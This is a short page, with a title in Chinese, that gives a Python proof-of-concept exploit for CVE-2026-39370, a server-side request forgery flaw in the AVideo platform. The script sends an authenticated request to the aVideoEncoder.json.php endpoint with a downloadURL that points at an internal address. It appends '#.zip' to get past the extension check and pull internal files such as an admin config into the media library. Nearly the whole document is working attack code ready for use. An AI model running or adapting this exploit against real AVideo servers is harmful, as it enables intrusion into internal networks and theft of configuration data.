CVE-2026-39370: AVideo平台SSRF绕过漏洞

import requests def exploit_ssrf(target_url, attacker_cookie, internal_url): """ Exploit CVE-2026-39370: SSRF in AVideo via downloadURL bypass. The vulnerable endpoint checks for specific extensions (.mp4, .zip, etc.) to validate the URL, allowing requests to internal networks. """ # The endpoint vulnerable to SSRF upload_endpoint = f"{target_url}/objects/aVideoEncoder.json.php" # Payload: Internal resource with an allowed extension appended to bypass validation # Example: Accessing internal admin config using .zip extension bypass_url = f"{internal_url}#.zip" payload = { "downloadURL": bypass_url, "title": "SSRF_Exploit" } headers = { "Cookie": f"PHPSESSID={attacker_cookie}", "User-Agent": "Mozilla/5.0" } try: response = requests.post(upload_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Server response: {response.text}") print("[+] Check the media library for the exfiltrated file content.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost/avideo" COOKIE = "valid_session_id_here" INTERNAL_TARGET = "http://127.0.0.1/admin/config.php" exploit_ssrf(TARGET, COOKIE, INTERNAL_TARGET)